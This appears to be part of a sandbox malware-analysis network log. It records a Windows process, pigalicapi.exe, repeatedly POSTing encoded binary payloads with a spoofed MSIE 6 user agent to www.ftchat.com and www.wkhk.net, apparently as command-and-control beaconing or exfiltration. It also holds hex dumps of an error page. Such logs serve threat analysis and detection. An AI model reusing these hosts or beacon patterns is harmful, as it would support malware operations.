Oct 25, 2024 11:18:07.308474064 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 31 3b 0a 20 20 20 20 20 20 20 20 62 6f 74 74 6f 6d 3a 20 2d 38 70 78 3b 0a 20 20 20 20 20 20 20 20 6c 65 66 74 Data Ascii: position: absolute; z-index: 1; bottom: -8px; left: calc(50% - 10px); display: block; width: 0; content: ''; border-width: 10px 8px 0; border-style: solid; border
Oct 25, 2024 11:18:07.308525085 CEST	1236	IN	Data Raw: 74 6f 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 20 7b 0a 20 20 20 Data Ascii: to; margin: auto; } @media screen and (min-width: 640px) { .lol-error-page__ad-banner-holizontal { display: inline; float: left; } } .lol-error-page__ad-banner-holizontal-righ
Oct 25, 2024 11:18:07.308561087 CEST	1236	IN	Data Raw: 33 39 2d 31 32 2e 30 34 2d 32 39 2e 39 2d 31 32 2e 30 34 68 2d 2e 33 32 39 63 2d 31 34 2e 31 20 30 2d 32 34 2e 33 31 37 20 33 2e 39 38 38 2d 33 30 2e 31 35 33 20 31 31 2e 38 36 2d 39 2e 34 20 31 32 2e 35 30 37 2d 34 2e 34 38 39 20 33 30 2e 30 31 Data Ascii: 39-12.04-29.9-12.04h-.329c-14.1 0-24.317 3.988-30.153 11.86-9.4 12.507-4.489 30.011-4.3 30.748.052.166.127.323.224.467-.326 3.036-.826 6.051-1.5 9.03-1.691 7.962-3.442 16.209 1.5 22.44 4.942 6.231 15.69 9.155 33.7 9.226h.718c17.583 0 28.1-2.84
Oct 25, 2024 11:18:07.308594942 CEST	1236	IN	Data Raw: 37 36 20 31 30 32 2e 37 63 2d 2e 34 36 33 20 30 2d 2e 39 30 38 2d 2e 31 37 39 2d 31 2e 32 34 32 2d 2e 35 6c 2d 31 31 2e 30 34 34 2d 31 30 2e 35 32 37 63 2d 2e 34 30 31 2d 2e 33 39 2d 2e 36 2d 2e 39 34 34 2d 2e 35 33 39 2d 31 2e 35 6c 32 2e 39 39 Data Ascii: 76 102.7c-.463 0-.908-.179-1.242-.5l-11.044-10.527c-.401-.39-.6-.944-.539-1.5l2.993-23.885c.111-.9.874-1.577 1.781-1.58h16.521c.887-.001 1.643.644 1.781 1.52l2.992 23.972c.054.561-.156 1.116-.569 1.5l-11.417 10.538c-.343.311-.794.476-1.257.462
Oct 25, 2024 11:18:07.308631897 CEST	848	IN	Data Raw: 2e 33 36 35 20 31 39 2e 34 37 35 68 2d 2e 31 35 63 2d 31 30 2e 30 37 31 20 30 2d 31 38 2e 39 2d 38 2e 32 39 33 2d 32 32 2e 34 34 37 2d 31 39 2e 35 36 36 2e 31 36 38 2d 31 2e 36 30 35 2e 31 31 37 2d 33 2e 32 32 35 2d 2e 31 35 2d 34 2e 38 31 36 2d Data Ascii: .365 19.475h-.15c-10.071 0-18.9-8.293-22.447-19.566.168-1.605.117-3.225-.15-4.816-.1-.918-.224-1.911-.284-3.01-.06-1.099 0-2.017 0-3.01.156-1.888-.073-3.787-.673-5.584 1.197-7.123 5.212-13.464 11.139-17.593 7.482 7.736 22.117 10.821 34.418 10.
Oct 25, 2024 11:18:07.308665991 CEST	1236	IN	Data Raw: 20 32 34 2e 31 38 33 2d 31 33 2e 38 20 32 34 2e 32 34 32 2d 33 30 2e 31 39 31 2e 30 31 33 2d 34 2e 33 38 37 2d 2e 38 33 36 2d 38 2e 37 33 34 2d 32 2e 35 2d 31 32 2e 37 39 33 2d 31 32 2e 32 32 35 2e 34 30 37 2d 32 36 2e 39 33 35 2d 32 2e 36 39 34 Data Ascii: 24.183-13.8 24.242-30.191.013-4.387-.836-8.734-2.5-12.793-12.225.407-26.935-2.694-34.342-10.43z"/><path fill="#f60" d="M39.256 44.625c-1.8 0-3.2 1.776-3.217 4.064-.017 2.288 1.392 4.079 3.172 4.094 1.78.015 3.2-1.776 3.217-4.064.017-2.288-1.3
Oct 25, 2024 11:18:07.308703899 CEST	1236	IN	Data Raw: 20 64 3d 22 4d 35 32 2e 32 39 20 35 38 2e 39 30 38 6c 2d 32 2e 33 31 39 2d 32 2e 39 32 73 32 2e 33 39 34 2d 34 2e 32 35 39 20 32 2e 33 39 34 2d 37 2e 32 35 34 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 36 30 22 20 64 3d 22 4d 35 32 2e 33 Data Ascii: d="M52.29 58.908l-2.319-2.92s2.394-4.259 2.394-7.254"/><path fill="#f60" d="M52.365 60.714c-.548.001-1.066-.248-1.407-.677l-2.319-2.92c-.455-.579-.514-1.377-.15-2.017 1.141-1.931 1.865-4.079 2.125-6.306-.016-.481.16-.949.489-1.3.494-.533 1.26
Oct 25, 2024 11:18:07.314285040 CEST	1236	IN	Data Raw: 2d 2e 34 2e 36 38 31 2d 2e 37 33 20 31 2e 31 37 38 63 2d 2e 33 36 31 2e 36 2d 2e 37 33 39 20 31 2e 31 35 33 2d 31 2e 30 39 33 20 31 2e 36 35 37 6c 2d 2e 32 30 38 2e 33 63 2d 2e 33 37 39 2e 35 32 33 2d 2e 37 33 31 20 31 2d 31 2e 30 38 34 20 31 2e Data Ascii: -.4.681-.73 1.178c-.361.6-.739 1.153-1.093 1.657l-.208.3c-.379.523-.731 1-1.084 1.448l-.447.542c-.335.411-.674.784-1 1.142-.74.789-1.536 1.524-2.381 2.2l-.273.218-9.572-.005zm5-10.2c-.405-.001-.801.124-1.133.356-.683.482-1.001 1.333-.8 2.145.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	52796	188.114.97.3	80	1896	C:\Users\user\pigalicapi.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:06.418493032 CEST	801	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 568 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.ftchat.com Cache-Control: no-cache Data Raw: 57 6d 5a 6c 45 6e 4e 32 6a 67 71 35 6f 58 72 45 75 73 6b 58 47 68 79 74 46 62 44 5a 44 53 50 72 56 34 76 6e 4f 57 35 39 48 39 4a 2b 72 61 48 51 34 66 31 43 6b 2f 59 33 37 48 64 59 7a 35 64 6a 2b 4b 59 4e 67 59 34 79 53 53 6c 71 43 47 6d 4c 72 4c 64 65 72 48 6a 6e 77 76 55 55 68 58 75 30 4d 43 48 66 6a 72 6f 73 45 6a 4c 76 61 42 35 69 37 74 58 6b 6a 58 5a 54 63 7a 68 78 59 69 69 44 78 44 61 43 6b 51 52 47 30 47 71 6d 32 76 78 67 41 7a 78 30 5a 4e 59 50 51 32 63 72 35 62 49 74 72 70 2b 58 41 75 76 41 73 73 77 78 42 46 71 61 6f 77 6c 41 62 4a 38 69 32 65 48 74 36 2b 39 6f 58 38 72 45 56 36 4b 39 78 67 67 66 5a 4a 35 4a 75 42 4a 35 6a 6a 41 4d 4e 61 36 6d 43 42 6c 56 59 2b 59 55 33 78 47 72 56 76 64 5a 37 2f 55 2f 31 71 75 41 78 49 38 48 2b 6d 2f 42 56 4c 57 34 4a 56 39 7a 4d 69 76 42 76 42 46 58 30 2f 32 30 68 66 4d 46 53 69 77 57 46 72 48 58 71 30 6a 4e 6c 35 36 79 69 76 39 66 5a 57 6e 52 4a 71 73 31 45 45 45 52 45 43 71 67 75 6f 61 37 70 74 7a 56 54 67 78 53 50 54 47 47 74 72 73 63 64 65 2b 37 73 42 [TRUNCATED] Data Ascii: WmZlEnN2jgq5oXrEuskXGhytFbDZDSPrV4vnOW59H9J+raHQ4f1Ck/Y37HdYz5dj+KYNgY4ySSlqCGmLrLderHjnwvUUhXu0MCHfjrosEjLvaB5i7tXkjXZTczhxYiiDxDaCkQRG0Gqm2vxgAzx0ZNYPQ2cr5bItrp+XAuvAsswxBFqaowlAbJ8i2eHt6+9oX8rEV6K9xggfZJ5JuBJ5jjAMNa6mCBlVY+YU3xGrVvdZ7/U/1quAxI8H+m/BVLW4JV9zMivBvBFX0/20hfMFSiwWFrHXq0jNl56yiv9fZWnRJqs1EEERECqguoa7ptzVTgxSPTGGtrscde+7sBftGs3C7U+zJVWvmkV3Auv+s1QJ6T9nNrtDxWvgl+c24OjIm74NH3HvZ9rkjyYXzN9YF6VefNo06v7XWxQR4aAbTSC8lyDyM8sCVsKvUsEZdT6IRvuKTZcFGvgdEwPu03/OaAEtfJdzRFIwNN6F4qqUEg+l1ZkK0XkpoRke9Q6lXLkve57uA1NqZSNrnJOJDiXQ0n6FgxfesbkwZH6NPhUxQpf47qf03I7dvA==
Oct 25, 2024 11:18:07.155687094 CEST	934	IN	HTTP/1.1 521 Date: Fri, 25 Oct 2024 09:18:07 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9phNFeFKHy03TmPesoIr2RUz9cLTtsyCKiOT2lVlvYNveFf8OY%2Fou1sgOXaCq4aXTF5oDDzf3%2FVa8Yl9PFsPZG6tiEsEwVzbvlTmHCj0c2Z83xi069XRd3piF53BCEVVDA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8d811e0d88316c26-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1100&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=801&delivery_rate=0&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 31 Data Ascii: error code: 521
Oct 25, 2024 11:18:07.182723999 CEST	801	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 568 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.ftchat.com Cache-Control: no-cache Data Raw: 57 6d 5a 6c 45 6e 4e 32 6a 67 71 35 6f 58 72 45 75 73 6b 58 47 68 79 74 46 62 44 5a 44 53 50 72 56 34 76 6e 4f 57 35 39 48 39 4a 2b 72 61 48 51 34 66 31 43 6b 2f 59 33 37 48 64 59 7a 35 64 6a 2b 4b 59 4e 67 59 34 79 53 53 6c 71 43 47 6d 4c 72 4c 64 65 72 48 6a 6e 77 76 55 55 68 58 75 30 4d 43 48 66 6a 72 6f 73 45 6a 4c 76 61 42 35 69 37 74 58 6b 6a 58 5a 54 63 7a 68 78 59 69 69 44 78 44 61 43 6b 51 52 47 30 47 71 6d 32 76 78 67 41 7a 78 30 5a 4e 59 50 51 32 63 72 35 62 49 74 72 70 2b 58 41 75 76 41 73 73 77 78 42 46 71 61 6f 77 6c 41 62 4a 38 69 32 65 48 74 36 2b 39 6f 58 38 72 45 56 36 4b 39 78 67 67 66 5a 4a 35 4a 75 42 4a 35 6a 6a 41 4d 4e 61 36 6d 43 42 6c 56 59 2b 59 55 33 78 47 72 56 76 64 5a 37 2f 55 2f 31 71 75 41 78 49 38 48 2b 6d 2f 42 56 4c 57 34 4a 56 39 7a 4d 69 76 42 76 42 46 58 30 2f 32 30 68 66 4d 46 53 69 77 57 46 72 48 58 71 30 6a 4e 6c 35 36 79 69 76 39 66 5a 57 6e 52 4a 71 73 31 45 45 45 52 45 43 71 67 75 6f 61 37 70 74 7a 56 54 67 78 53 50 54 47 47 74 72 73 63 64 65 2b 37 73 42 [TRUNCATED] Data Ascii: WmZlEnN2jgq5oXrEuskXGhytFbDZDSPrV4vnOW59H9J+raHQ4f1Ck/Y37HdYz5dj+KYNgY4ySSlqCGmLrLderHjnwvUUhXu0MCHfjrosEjLvaB5i7tXkjXZTczhxYiiDxDaCkQRG0Gqm2vxgAzx0ZNYPQ2cr5bItrp+XAuvAsswxBFqaowlAbJ8i2eHt6+9oX8rEV6K9xggfZJ5JuBJ5jjAMNa6mCBlVY+YU3xGrVvdZ7/U/1quAxI8H+m/BVLW4JV9zMivBvBFX0/20hfMFSiwWFrHXq0jNl56yiv9fZWnRJqs1EEERECqguoa7ptzVTgxSPTGGtrscde+7sBftGs3C7U+zJVWvmkV3Auv+s1QJ6T9nNrtDxWvgl+c24OjIm74NH3HvZ9rkjyYXzN9YF6VefNo06v7XWxQR4aAbTSC8lyDyM8sCVsKvUsEZdT6IRvuKTZcFGvgdEwPu03/OaAEtfJdzRFIwNN6F4qqUEg+l1ZkK0XkpoRke9Q6lXLkve57uA1NqZSNrnJOJDiXQ0n6FgxfesbkwZH6NPhUxQpf47qf03I7dvA==
Oct 25, 2024 11:18:07.426203012 CEST	947	IN	HTTP/1.1 521 Date: Fri, 25 Oct 2024 09:18:07 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CQlih9vWran9nGSsyHyHU21HNr%2FzREUl%2Fk5gIWL%2BqS3XTu0JpsoV96nJaU17MaSbZgm2kFVWemMDHg2z5ftvR4j8X805HQqj0TmmSDWQ2yCaIThl%2Blf73IFGZuuy9AsaXg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8d811e0f49986c26-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1095&sent=3&recv=5&lost=0&retrans=0&sent_bytes=934&recv_bytes=1602&delivery_rate=1363465&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 31 Data Ascii: error code: 521
Oct 25, 2024 11:18:07.506208897 CEST	801	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 568 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.ftchat.com Cache-Control: no-cache Data Raw: 57 6d 5a 6c 45 6e 4e 32 6a 67 71 35 6f 58 72 45 75 73 6b 58 47 68 79 74 46 62 44 5a 44 53 50 72 56 34 76 6e 4f 57 35 39 48 39 4a 2b 72 61 48 51 34 66 31 43 6b 2f 59 33 37 48 64 59 7a 35 64 6a 2b 4b 59 4e 67 59 34 79 53 53 6c 71 43 47 6d 4c 72 4c 64 65 72 48 6a 6e 77 76 55 55 68 58 75 30 4d 43 48 66 6a 72 6f 73 45 6a 4c 76 61 42 35 69 37 74 58 6b 6a 58 5a 54 63 7a 68 78 59 69 69 44 78 44 61 43 6b 51 52 47 30 47 71 6d 32 76 78 67 41 7a 78 30 5a 4e 59 50 51 32 63 72 35 62 49 74 72 70 2b 58 41 75 76 41 73 73 77 78 42 46 71 61 6f 77 6c 41 62 4a 38 69 32 65 48 74 36 2b 39 6f 58 38 72 45 56 36 4b 39 78 67 67 66 5a 4a 35 4a 75 42 4a 35 6a 6a 41 4d 4e 61 36 6d 43 42 6c 56 59 2b 59 55 33 78 47 72 56 76 64 5a 37 2f 55 2f 31 71 75 41 78 49 38 48 2b 6d 2f 42 56 4c 57 34 4a 56 39 7a 4d 69 76 42 76 42 46 58 30 2f 32 30 68 66 4d 46 53 69 77 57 46 72 48 58 71 30 6a 4e 6c 35 36 79 69 76 39 66 5a 57 6e 52 4a 71 73 31 45 45 45 52 45 43 71 67 75 6f 61 37 70 74 7a 56 54 67 78 53 50 54 47 47 74 72 73 63 64 65 2b 37 73 42 [TRUNCATED] Data Ascii: WmZlEnN2jgq5oXrEuskXGhytFbDZDSPrV4vnOW59H9J+raHQ4f1Ck/Y37HdYz5dj+KYNgY4ySSlqCGmLrLderHjnwvUUhXu0MCHfjrosEjLvaB5i7tXkjXZTczhxYiiDxDaCkQRG0Gqm2vxgAzx0ZNYPQ2cr5bItrp+XAuvAsswxBFqaowlAbJ8i2eHt6+9oX8rEV6K9xggfZJ5JuBJ5jjAMNa6mCBlVY+YU3xGrVvdZ7/U/1quAxI8H+m/BVLW4JV9zMivBvBFX0/20hfMFSiwWFrHXq0jNl56yiv9fZWnRJqs1EEERECqguoa7ptzVTgxSPTGGtrscde+7sBftGs3C7U+zJVWvmkV3Auv+s1QJ6T9nNrtDxWvgl+c24OjIm74NH3HvZ9rkjyYXzN9YF6VefNo06v7XWxQR4aAbTSC8lyDyM8sCVsKvUsEZdT6IRvuKTZcFGvgdEwPu03/OaAEtfJdzRFIwNN6F4qqUEg+l1ZkK0XkpoRke9Q6lXLkve57uA1NqZSNrnJOJDiXQ0n6FgxfesbkwZH6NPhUxQpf47qf03I7dvA==
Oct 25, 2024 11:18:07.747915030 CEST	948	IN	HTTP/1.1 521 Date: Fri, 25 Oct 2024 09:18:07 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y14LNRb2NUBF%2F23COCGf076DMhsa%2F0Zz1p0BpdfvpqDLps9d6CqRDCFfsU8BioQdVF8SBxAGI024js4BVNBUb5ZiqA%2B0R1ryFCRadbzsravJqQ3SEK%2FIrjcFDi9S8D06rA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8d811e115b266c26-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1092&sent=5&recv=7&lost=0&retrans=0&sent_bytes=1881&recv_bytes=2403&delivery_rate=1363465&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 31 Data Ascii: error code: 521
Oct 25, 2024 11:18:07.752012968 CEST	801	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 568 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.ftchat.com Cache-Control: no-cache Data Raw: 57 6d 5a 6c 45 6e 4e 32 6a 67 71 35 6f 58 72 45 75 73 6b 58 47 68 79 74 46 62 44 5a 44 53 50 72 56 34 76 6e 4f 57 35 39 48 39 4a 2b 72 61 48 51 34 66 31 43 6b 2f 59 33 37 48 64 59 7a 35 64 6a 2b 4b 59 4e 67 59 34 79 53 53 6c 71 43 47 6d 4c 72 4c 64 65 72 48 6a 6e 77 76 55 55 68 58 75 30 4d 43 48 66 6a 72 6f 73 45 6a 4c 76 61 42 35 69 37 74 58 6b 6a 58 5a 54 63 7a 68 78 59 69 69 44 78 44 61 43 6b 51 52 47 30 47 71 6d 32 76 78 67 41 7a 78 30 5a 4e 59 50 51 32 63 72 35 62 49 74 72 70 2b 58 41 75 76 41 73 73 77 78 42 46 71 61 6f 77 6c 41 62 4a 38 69 32 65 48 74 36 2b 39 6f 58 38 72 45 56 36 4b 39 78 67 67 66 5a 4a 35 4a 75 42 4a 35 6a 6a 41 4d 4e 61 36 6d 43 42 6c 56 59 2b 59 55 33 78 47 72 56 76 64 5a 37 2f 55 2f 31 71 75 41 78 49 38 48 2b 6d 2f 42 56 4c 57 34 4a 56 39 7a 4d 69 76 42 76 42 46 58 30 2f 32 30 68 66 4d 46 53 69 77 57 46 72 48 58 71 30 6a 4e 6c 35 36 79 69 76 39 66 5a 57 6e 52 4a 71 73 31 45 45 45 52 45 43 71 67 75 6f 61 37 70 74 7a 56 54 67 78 53 50 54 47 47 74 72 73 63 64 65 2b 37 73 42 [TRUNCATED] Data Ascii: WmZlEnN2jgq5oXrEuskXGhytFbDZDSPrV4vnOW59H9J+raHQ4f1Ck/Y37HdYz5dj+KYNgY4ySSlqCGmLrLderHjnwvUUhXu0MCHfjrosEjLvaB5i7tXkjXZTczhxYiiDxDaCkQRG0Gqm2vxgAzx0ZNYPQ2cr5bItrp+XAuvAsswxBFqaowlAbJ8i2eHt6+9oX8rEV6K9xggfZJ5JuBJ5jjAMNa6mCBlVY+YU3xGrVvdZ7/U/1quAxI8H+m/BVLW4JV9zMivBvBFX0/20hfMFSiwWFrHXq0jNl56yiv9fZWnRJqs1EEERECqguoa7ptzVTgxSPTGGtrscde+7sBftGs3C7U+zJVWvmkV3Auv+s1QJ6T9nNrtDxWvgl+c24OjIm74NH3HvZ9rkjyYXzN9YF6VefNo06v7XWxQR4aAbTSC8lyDyM8sCVsKvUsEZdT6IRvuKTZcFGvgdEwPu03/OaAEtfJdzRFIwNN6F4qqUEg+l1ZkK0XkpoRke9Q6lXLkve57uA1NqZSNrnJOJDiXQ0n6FgxfesbkwZH6NPhUxQpf47qf03I7dvA==
Oct 25, 2024 11:18:07.995381117 CEST	952	IN	HTTP/1.1 521 Date: Fri, 25 Oct 2024 09:18:07 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AiAgELDBwE5Ulvvlz%2BHAoxoB6Ezo8RScfWStKlBgSWxLbW%2FsC8spmdzaBKL48oMC%2BByWVEVNsahPc86Xkjac5mOzqTbK4lsiuBwz%2Bko36Egc%2BuwRF70F%2FVE6m4MyKe6SPg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8d811e12dc526c26-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1087&sent=7&recv=9&lost=0&retrans=0&sent_bytes=2829&recv_bytes=3204&delivery_rate=1382999&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 31 Data Ascii: error code: 521
Oct 25, 2024 11:18:07.998467922 CEST	801	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 568 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.ftchat.com Cache-Control: no-cache Data Raw: 57 6d 5a 6c 45 6e 4e 32 6a 67 71 35 6f 58 72 45 75 73 6b 58 47 68 79 74 46 62 44 5a 44 53 50 72 56 34 76 6e 4f 57 35 39 48 39 4a 2b 72 61 48 51 34 66 31 43 6b 2f 59 33 37 48 64 59 7a 35 64 6a 2b 4b 59 4e 67 59 34 79 53 53 6c 71 43 47 6d 4c 72 4c 64 65 72 48 6a 6e 77 76 55 55 68 58 75 30 4d 43 48 66 6a 72 6f 73 45 6a 4c 76 61 42 35 69 37 74 58 6b 6a 58 5a 54 63 7a 68 78 59 69 69 44 78 44 61 43 6b 51 52 47 30 47 71 6d 32 76 78 67 41 7a 78 30 5a 4e 59 50 51 32 63 72 35 62 49 74 72 70 2b 58 41 75 76 41 73 73 77 78 42 46 71 61 6f 77 6c 41 62 4a 38 69 32 65 48 74 36 2b 39 6f 58 38 72 45 56 36 4b 39 78 67 67 66 5a 4a 35 4a 75 42 4a 35 6a 6a 41 4d 4e 61 36 6d 43 42 6c 56 59 2b 59 55 33 78 47 72 56 76 64 5a 37 2f 55 2f 31 71 75 41 78 49 38 48 2b 6d 2f 42 56 4c 57 34 4a 56 39 7a 4d 69 76 42 76 42 46 58 30 2f 32 30 68 66 4d 46 53 69 77 57 46 72 48 58 71 30 6a 4e 6c 35 36 79 69 76 39 66 5a 57 6e 52 4a 71 73 31 45 45 45 52 45 43 71 67 75 6f 61 37 70 74 7a 56 54 67 78 53 50 54 47 47 74 72 73 63 64 65 2b 37 73 42 [TRUNCATED] Data Ascii: WmZlEnN2jgq5oXrEuskXGhytFbDZDSPrV4vnOW59H9J+raHQ4f1Ck/Y37HdYz5dj+KYNgY4ySSlqCGmLrLderHjnwvUUhXu0MCHfjrosEjLvaB5i7tXkjXZTczhxYiiDxDaCkQRG0Gqm2vxgAzx0ZNYPQ2cr5bItrp+XAuvAsswxBFqaowlAbJ8i2eHt6+9oX8rEV6K9xggfZJ5JuBJ5jjAMNa6mCBlVY+YU3xGrVvdZ7/U/1quAxI8H+m/BVLW4JV9zMivBvBFX0/20hfMFSiwWFrHXq0jNl56yiv9fZWnRJqs1EEERECqguoa7ptzVTgxSPTGGtrscde+7sBftGs3C7U+zJVWvmkV3Auv+s1QJ6T9nNrtDxWvgl+c24OjIm74NH3HvZ9rkjyYXzN9YF6VefNo06v7XWxQR4aAbTSC8lyDyM8sCVsKvUsEZdT6IRvuKTZcFGvgdEwPu03/OaAEtfJdzRFIwNN6F4qqUEg+l1ZkK0XkpoRke9Q6lXLkve57uA1NqZSNrnJOJDiXQ0n6FgxfesbkwZH6NPhUxQpf47qf03I7dvA==
Oct 25, 2024 11:18:08.244169950 CEST	949	IN	HTTP/1.1 521 Date: Fri, 25 Oct 2024 09:18:08 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wX7LvBRFBeA%2B63gEjpiCqT7LpE4i3wU4D7MboJf%2FY2BEcarCmJKcz%2BeXzCAUXuBd5Wwm%2B1Qz1hKNU9nppwxFfnDJdLVIydqPrrmqvH96nmkjV8Z2hCLorv8wtSM6ONqBWw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8d811e146d966c26-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1084&sent=9&recv=11&lost=0&retrans=0&sent_bytes=3781&recv_bytes=4005&delivery_rate=1382999&cwnd=252&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 31 Data Ascii: error code: 521

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	52797	34.218.204.173	80	1896	C:\Users\user\pigalicapi.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:18:06.418591022 CEST	910	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 568 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.wkhk.net Cache-Control: no-cache Cookie: snkz=173.254.250.81; btst=5da448966d54b464c4518e688cf48827\|173.254.250.81\|1729847852\|1729847852\|0\|1\|0 Data Raw: 34 4f 56 43 46 66 35 2b 70 77 71 33 33 7a 66 59 79 5a 70 58 36 75 46 45 46 68 75 2b 70 4b 31 6f 45 74 64 39 79 2b 68 36 68 56 6e 61 41 76 64 54 35 58 54 57 6e 4e 65 79 52 38 5a 50 45 56 6e 71 74 30 46 57 67 55 30 68 48 34 54 67 4d 75 38 59 32 4f 72 58 63 43 61 31 6f 4f 67 4f 35 36 72 35 32 39 33 58 57 44 6b 6f 56 4e 54 69 43 54 51 4c 52 41 37 5a 4a 44 39 41 6b 71 36 62 35 7a 57 2f 78 78 45 38 48 62 32 52 32 62 31 6d 5a 56 6a 58 59 56 47 6a 41 63 46 31 6b 65 43 6c 4d 4c 66 61 39 4f 69 30 6c 4e 6f 77 59 57 53 59 50 64 2b 43 57 50 74 6e 4b 4d 57 55 34 45 4b 6c 4c 41 75 41 4d 43 43 5a 69 42 64 77 5a 41 47 31 7a 75 44 4b 38 65 50 4e 4c 53 6b 35 56 43 6d 44 6e 74 63 6f 44 48 5a 74 4d 39 59 42 37 6c 39 59 74 4c 4d 46 6c 72 78 33 44 6b 58 62 73 56 75 4f 45 51 4a 37 55 67 5a 30 4d 6f 64 56 78 7a 7a 75 39 52 47 4b 70 4d 36 38 38 71 58 75 71 67 31 54 6e 50 48 49 4e 66 72 39 64 2b 74 64 61 36 41 5a 70 73 7a 53 46 75 58 66 31 44 56 58 56 52 35 55 4b 54 5a 6f 42 70 74 44 46 71 38 52 71 4d 46 52 61 69 61 79 68 66 [TRUNCATED] Data Ascii: 